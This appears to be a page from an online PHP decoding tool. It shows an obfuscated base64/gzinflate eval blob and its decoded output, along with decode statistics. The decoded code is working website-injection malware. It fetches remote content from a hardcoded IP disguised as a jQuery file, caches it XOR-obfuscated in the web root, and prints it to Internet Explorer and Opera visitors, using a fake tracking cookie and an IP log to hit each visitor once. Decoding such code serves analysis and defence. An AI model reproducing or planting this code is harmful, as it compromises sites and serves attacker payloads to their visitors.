Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode('hVRtb9Q4EP68lfofXBThpA3ZXY4CYglt1QYO3bWL0i33oepFIbF3DYkdHIeC..
Decoded Output download
function frm_dl ($url) {
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec ($ch);
if (curl_errno($ch) !== 0) $out = false;
curl_close ($ch);
} else {$out = file_get_contents($url);}
return trim($out);
}
function frm_crpt($in){
$il=strlen($in);$o='';
for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
return $o;
}
function frm_getfrm()
{
$dr=$_SERVER["DOCUMENT_ROOT"];
$f = $dr.'/sess_'.md5('frm_frame');
if(!file_exists($f) || time() - filemtime($f) > 60*5)
{
$dlc = frm_dl('http://151.248.123.170/nc/gnc.php?ver=jquery.latest.js');
if ($dlc){
if ($fp = fopen($f, 'w')){
fwrite($fp, frm_crpt($dlc));
fclose($fp);
}
else
return $dlc;
}
else
@unlink($f);
}
$fc = @file_get_contents($f);
return ($fc)?frm_crpt($fc):false;
}
if (!isset($frmDs)){
global $frmDs;
$frmDs = 1;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua)){
error_reporting(0);
$ip=$_SERVER["REMOTE_ADDR"];
$dr=$_SERVER["DOCUMENT_ROOT"];
$dbf=$dr.'/sess_'.md5(date('m.d.y'));
$odbf = $dr.'/sess_'.md5(date('m.d.y',time()-86400));
if (file_exists($odbf)) @unlink($odbf);
if(!isset($_COOKIE['__utmfr']) && strpos(frm_crpt(@file_get_contents($dbf)),$ip) === false && $nfc=frm_getfrm() ) {
setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
print($nfc);
if ($fp = @fopen($dbf , 'a')){fputs($fp , frm_crpt($ip.'|')); fclose($fp);}
}
}
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode('hVRtb9Q4EP68lfofXBThpA3ZXY4CYglt1QYO3bWL0i33oepFIbF3DYkdHIeC6P73m7GT7qKrxIe8eN7nmWfMO1kYoSThus7Kivhep6uA/NzdGQlOfN6rM/ZdtKb1aQHqTEhhaOCsRl6xIjG5l7sAM9RYWcuMakBarEJyepX+Pf+wyNJkcZVeLNKTi8u3SRqSqbP3VGeGUOw7Kwh6ORXW4uRaS2XlZC+OySQgvRfPq5Zt0haVatkmwJowUJOfg7GoWLZkJiuUNExCY67qNZhqZjotidGi9tEc/UG+u8O3oSo0NiVkgBh4oopboysmrWjmqZhSTMuVhhoEZJzMCHxfw6vCv4MDLDyKwfzaEzfkX0L3rUef3VMPZoWS4eMHuzs2baljL7tM0o9Jev3obH56dZ5cALrz+eLRDQbzOGQGq4iOW9a2GY3q8tCnGInrvGbUYiO4v2cB6Wfs8YDc3REjauYH5IkFq7Yn1Lwhzyf7h1DByE2/rAoE1LLHpytjmlfj8fRwGj199jKaPv0jmr6YjGUxXsoialbN0Tem489fO6Z/RFVuWGuizy3dDBnjWUz7I28wumoQWh4Segu8c+oRv9XCYFFNuDUS9HfhwMKyAC16ydq+kQrOYEAbnKyB1d+rjztZCfkF27Ycsohit8cP8MfZ9AHhWARHm6Lg9GogqJ0q9rYnWlgOUOr6rHVdLSv1Ka+IE7kJ4h+knM7QbYSiLsepDnOnfy4WH7IrOGUn72D89GbW726j2TKrc1OsfDr+R8hS3bZjGhIIEJDHj8kv+vPL98ndvGE6H0wczLBvSmeaNUobIZf+xCFpRy+aLfqlyfl8kWQnZ2cpkI84bvyGny5M+YnH/yNpCdzwaR2V0Q8aDNcDWD5E6G3b0NH2ycvnzyaTYMOrXwiOgeD6up+vPTuA7Tb0g8lO5/O/3ifXNMs6U3NNbyxusOmNav376T7EBpsgBIQCEsf95YS+nuRFvL3JpL9FR5CxUOqLgE6GdKHOZelPw+kEWukbO7CN7b8I6bjfmlGjhYRqIXIv2CzOcb85CBwsT47Lw5vO8rUh22sjmojeIdJke2nWw1LAs/4P')))
Function Calls
gzinflate | 1 |
base64_decode | 1 |
Stats
MD5 | f74353b89c1714fed3454736760b4755 |
Eval Count | 1 |
Decode Time | 109 ms |